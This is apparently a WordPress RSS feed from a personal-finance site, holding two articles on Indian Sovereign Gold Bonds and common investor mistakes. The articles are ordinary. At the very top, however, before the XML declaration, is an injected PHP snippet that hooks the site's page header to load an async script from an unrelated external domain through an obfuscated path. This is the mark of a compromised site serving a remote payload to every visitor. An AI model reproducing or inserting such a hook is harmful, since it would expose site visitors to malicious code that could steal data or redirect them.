/**<js>*/function add_my_script() {
   echo '<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>';
}
add_action('wp_head', 'add_my_script');/**<js>*/<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>buy gold Archives -</title>
	<atom:link href="https://www.thebuyt.com/tag/buy-gold/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thebuyt.com/tag/buy-gold/</link>
	<description></description>
	<lastBuildDate>Wed, 23 Jun 2021 08:08:23 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://www.thebuyt.com/wp-content/uploads/2020/07/cropped-icon-32x32.png</url>
	<title>buy gold Archives -</title>
	<link>https://www.thebuyt.com/tag/buy-gold/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Why is Sovereign Gold Bond the Best Way to Buy Gold?</title>
		<link>https://www.thebuyt.com/why-is-sovereign-gold-bond-the-best-way-to-buy-gold/</link>
					<comments>https://www.thebuyt.com/why-is-sovereign-gold-bond-the-best-way-to-buy-gold/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Thu, 20 May 2021 06:57:35 +0000</pubDate>
				<category><![CDATA[Investment]]></category>
		<category><![CDATA[buy gold]]></category>
		<category><![CDATA[Sovereign Gold Bond]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=2640</guid>

					<description><![CDATA[<p>The Buyt Desk The Government of India in consultation with the Reserve Bank Of India will issue 6 tranches of Sovereign Gold Bonds(SGB) between May 2021 to September 2021. The  SGBs are government securities that are equivalent to holding physical gold. The minimum denomination of one unit of bond is 1 gram of gold. An [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/why-is-sovereign-gold-bond-the-best-way-to-buy-gold/">Why is Sovereign Gold Bond the Best Way to Buy Gold?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>The Buyt Desk</h2>
<p dir="ltr">The Government of India in consultation with the Reserve Bank Of India will issue 6 tranches of Sovereign Gold Bonds(SGB) between May 2021 to September 2021. The  SGBs are government securities that are equivalent to holding physical gold. The minimum denomination of one unit of bond is 1 gram of gold. An individual or a HUF is permitted to buy a minimum of 1 gram and a maximum of 4 Kg gold in a fiscal year. When compared to the physical form of gold or any other electronic form of gold like an ETF or digital gold SGB has an edge over the other formats of gold. Let us look at why investing in SGB is considered better.</p>
<h3 dir="ltr">6 Reasons why you should invest in <a href="https://www.thebuyt.com/is-sovereign-gold-bond-scheme-a-better-way-of-investing-in-gold/">Sovereign Gold Bond</a></h3>
<ol>
<li dir="ltr">
<h4 dir="ltr">Who is selling SGB?</h4>
</li>
</ol>
<p dir="ltr">They have a sovereign guarantee and you purchase the gold straight from the government through RBI. You do not buy this gold from a company or a jeweller but from the government itself.</p>
<ol start="2">
<li dir="ltr">
<h4 dir="ltr">Additional Interest by RBI</h4>
</li>
</ol>
<p dir="ltr">The Reserve Bank of India gives an annual additional interest of 2.5% on the SGB. There is no other gold investment that will earn you an assured interest. You earn double the benefit on SGB. The first is the capital gains based on the price movement of gold and the second is the fixed additional interest paid semi-annually.</p>
<ol start="3">
<li dir="ltr">
<h4 dir="ltr">Price Movement of SGB</h4>
</li>
</ol>
<p dir="ltr">Did you know the first series of Sovereign gold bond which was launched in 2015 was priced at Rs 2684 per gram and the first series of 2021-22 launched in May 2021 is priced at Rs 4777 per gram.  Between 2015 and 2021 you can see how the price of 1 unit of SGB has moved.</p>
<ol start="4">
<li dir="ltr">
<h4 dir="ltr">SGB Vs Physical Gold</h4>
</li>
</ol>
<p dir="ltr">The purity of gold which is sold in SGB is od 999 purity. There is no fear that someone would sell you a lower quality of gold. You need not worry about making charges or pay anything extra to store this gold securely. SGB are in electronic form and they are never delivered in physical form. Once the bonds mature you redeem your money by selling the bond.</p>
<ol start="5">
<li dir="ltr">
<h4 dir="ltr">Tax on SGB</h4>
</li>
</ol>
<p dir="ltr">Though the interest earned on SGB is taxable as per the individual’s tax slab but the capital gains that you receive after the maturity period of 8 years is tax exempted.</p>
<ol start="6">
<li dir="ltr">
<h4 dir="ltr">Loan on SGB</h4>
</li>
</ol>
<p dir="ltr">You can use SGB as collateral for loans. The loan to value (LTV) ratio is equal to the ordinary gold loan.</p>
<p dir="ltr">Here is a chart for the dates of 6 tranches of SGB for 2021-22</p>
<div dir="ltr" align="left">
<table>
<colgroup>
<col />
<col />
<col /></colgroup>
<tbody>
<tr>
<td>
<p dir="ltr"><strong>SGB Series</strong></p>
</td>
<td>
<p dir="ltr"><strong>Date of Subscription</strong></p>
</td>
<td>
<p dir="ltr"><strong>Issue date</strong></p>
</td>
</tr>
<tr>
<td>
<p dir="ltr">Series I</p>
</td>
<td>
<p dir="ltr">May 17- May 21, 2021</p>
</td>
<td>
<p dir="ltr">May 25th, 2021</p>
</td>
</tr>
<tr>
<td>
<p dir="ltr">Series II</p>
</td>
<td>
<p dir="ltr">May 24-May28, 2021</p>
</td>
<td>
<p dir="ltr">June 1st, 2021</p>
</td>
</tr>
<tr>
<td>
<p dir="ltr">Series III</p>
</td>
<td>
<p dir="ltr">May 31-June 4, 2021</p>
</td>
<td>
<p dir="ltr">June 08th, 2021</p>
</td>
</tr>
<tr>
<td>
<p dir="ltr">Series IV</p>
</td>
<td>
<p dir="ltr">July 12-July 16, 2021</p>
</td>
<td>
<p dir="ltr">July 20th, 2021</p>
</td>
</tr>
<tr>
<td>
<p dir="ltr">Series V</p>
</td>
<td>
<p dir="ltr">August 9-August 13,2021</p>
</td>
<td>
<p dir="ltr">August 17th, 2021</p>
</td>
</tr>
<tr>
<td>
<p dir="ltr">Series VI</p>
</td>
<td>
<p dir="ltr">August 30-September 3,2021</p>
</td>
<td>
<p dir="ltr">September 07th, 2021</p>
</td>
</tr>
</tbody>
</table>
</div>
<div class="yj6qo"></div>
<p>The post <a href="https://www.thebuyt.com/why-is-sovereign-gold-bond-the-best-way-to-buy-gold/">Why is Sovereign Gold Bond the Best Way to Buy Gold?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/why-is-sovereign-gold-bond-the-best-way-to-buy-gold/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Investing is Good, But Do It the Right Way!</title>
		<link>https://www.thebuyt.com/best-way-to-buy-or-invest-in-gold/</link>
					<comments>https://www.thebuyt.com/best-way-to-buy-or-invest-in-gold/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Sat, 20 Mar 2021 08:58:55 +0000</pubDate>
				<category><![CDATA[Investment]]></category>
		<category><![CDATA[buy gold]]></category>
		<category><![CDATA[Investing is Good]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=2354</guid>

					<description><![CDATA[<p>The Buyt Desk Caution and planning are two important words when it comes to finances. Everyone works towards earning a good amount of money to enjoy life to the fullest. Earning an income is one thing, but creating wealth should be the aim. Investing in the asset class best suited for you, investing in diverse [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/best-way-to-buy-or-invest-in-gold/">Investing is Good, But Do It the Right Way!</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>The Buyt Desk</h2>
<div class="gs">
<div class="">
<div id=":32" class="ii gt">
<div id=":33" class="a3s aiL ">
<div dir="ltr">
<p dir="ltr">Caution and planning are two important words when it comes to finances. Everyone works towards earning a good amount of money to enjoy life to the fullest. Earning an income is one thing, but creating wealth should be the aim. Investing in the asset class best suited for you, investing in diverse asset classes, and having well-defined financial goals are good practices for wealth creation. You may commit errors, learn from the experience, and alter your investment approach. Nonetheless, it would be wiser to learn from the mistakes of others.</p>
<h3 dir="ltr">Let us have a look at what are the mistakes commonly made by investors:</h3>
<h3 dir="ltr">Investing without goal setting and risk assessment</h3>
<p dir="ltr">How can you achieve something when you do not know what you wish to achieve? At the beginning of your professional life, you may have set your eyes on a motorbike. After few years, the aim would have shifted to owning a car. As you set a goal, you work towards achieving it, and eventually, your hard work bears fruit. In the same way, you cannot invest your money wisely unless you know what you wish to achieve. Going for a vacation requires an investment option that does not have a lock-in period and has high liquidity. While buying a house requires you to invest for a long period, at least 5 years. In short, your financial goal determines your <a href="https://www.thebuyt.com/3-best-investments-for-accumulation-of-retirement-corpus-decoded/">investment strategy.</a></p>
<p dir="ltr">Another deciding factor for choosing an investment product is your risk appetite. In case you have more than one source of income, your risk-taking capacity will be higher. Investment products involve different risk levels. For instance, equity mutual funds are riskier than hybrid mutual funds, which are riskier than debt mutual funds. Knowing how much risk you can take is prime for any investor.</p>
<h3 dir="ltr">Trying to recover the original cost from a loser</h3>
<p dir="ltr">It is wise to know when to get in and when to get out of the market. Supposedly, you choose a share or fund but it starts going in a loss, and eventually, its value erodes below the original cost. It would be a wise decision to exit that fund/share than accumulating more loss. You are losing money daily by waiting for that fund to jump back to the original cost because its NAV (Net Asset Value) is definitely lower than when you made the purchase. Instead, if you redeem those units and invest the same money even if in a tax-saving FD, you will receive 6-7% annual interest. Other than fixed-income investment options, most of the investments are fraught with some risk of losing the capital. This brings us to the next investing mistake.</p>
<h3 dir="ltr">Investing all the money in the same asset class</h3>
<p dir="ltr">Keep a balance of high liquidity and low liquidity, medium risk and zero-risk, long-term and short-term investment products in your portfolio. A high-risk investment product can deliver higher returns in the long run, while a low-risk investment product will give you lower but stable returns. Sticking to a single asset class means either running a risk of losing the money altogether when the market is down or losing out at least 3-4% of the returns. A diverse mix in your investment portfolio balances out the pros and cons of every product and creates wealth for you.</p>
<h4 dir="ltr">Following the herd</h4>
<p dir="ltr">The returns of their friend’s investments, new developments in the market, or advice by investment gurus, attract the attention of investors. As a result, some of them switch from one investment product to another quite too frequently. This is a blunder. This leads to loss of money in terms of exit loads and premature closure penalties. This practice will keep delaying the achievement of your financial goals. Market-linked investment options grow to a considerable amount in the long-term. Withdrawing from them before they achieve the maximum growth potential will not provide high returns. Thus, the very purpose of the investment is forfeited.</p>
<h4 dir="ltr">Withdrawing your investment when the market crashes</h4>
<p dir="ltr">The NAV of a unit of mutual funds is determined in the share market because of many factors. When the NAV of the units reduces at the time of low tide, some investors make the mistake of withdrawing their investment. They forget that the market follows a cyclical pattern of growth Recession of 2008 led to a market crash but eventually, the market recovered. Usually, experts invest when the market is down but has the potential of coming back strong. Do not fear for your investment when the market is going down and wait for the controlling factor to normalize.</p>
<p dir="ltr">Prepare a well-thought investment plan to reap the maximum value from your investments. Consider your income, retirement plan, financial goals, liabilities, and risk appetite to chalk out the plan. Research well about the different investment options, their terms and conditions, and their historical market returns. It is best to seek help/advice from a certified financial planner to determine your investment strategy.</p>
</div>
</div>
</div>
</div>
</div>
<p>The post <a href="https://www.thebuyt.com/best-way-to-buy-or-invest-in-gold/">Investing is Good, But Do It the Right Way!</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/best-way-to-buy-or-invest-in-gold/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>